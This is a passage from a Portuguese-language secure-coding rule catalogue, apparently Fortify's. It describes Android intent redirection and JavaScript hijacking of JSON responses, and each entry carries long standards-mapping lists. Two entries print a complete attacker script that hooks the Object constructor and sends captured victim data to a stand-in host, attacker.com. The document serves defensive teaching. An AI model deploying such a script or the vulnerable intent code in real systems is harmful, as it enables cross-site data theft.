[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_mutable_pending_intent
Abstract
Usando um Intent aninhado de uma entrada externa para iniciar uma atividade, iniciar um serviço ou realizar uma transmissão pode permitir que um invasor inicie arbitrariamente componentes de aplicativos internos, controle o comportamento de um componente interno ou acesse indiretamente dados protegidos de um provedor de conteúdo por meio de concessões de permissão temporárias.
Explanation
Um problema de manipulação da intenção de redirecionamento ocorre quando as seguintes condições são atendidas:
1. Um componente exportado aceita um Intent arbitrário aninhado no pacote de extras de um Intent fornecido externamente.

2. O componente exportado usa o Intent arbitrário para iniciar um componente chamando startActivity, startService ou sendBroadcast.

Um invasor pode obter uma capacidade que, de outra forma, não seria permitida na existência dessas condições.
Exemplo 1: O código a seguir aceita um Intent aninhado de uma fonte externa e usa esse Intent para iniciar uma atividade.


...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
References
[1] Intent
[2] Remediation for Intent Redirection Vulnerability - Google Help
[3] Nicole Borrelli Android Nesting Intents
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark partial
[10] Standards Mapping - Common Weakness Enumeration CWE ID 99
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[18] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[19] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[20] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[21] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[22] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation_redirection
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável. As matrizes de JavaScript podem ser roubadas se o mecanismo de JavaScript do navegador permitir o envenenamento do construtor de matriz.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações:
1) Se ele usa objetos JavaScript como formato de transferência de dados
2) Se ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


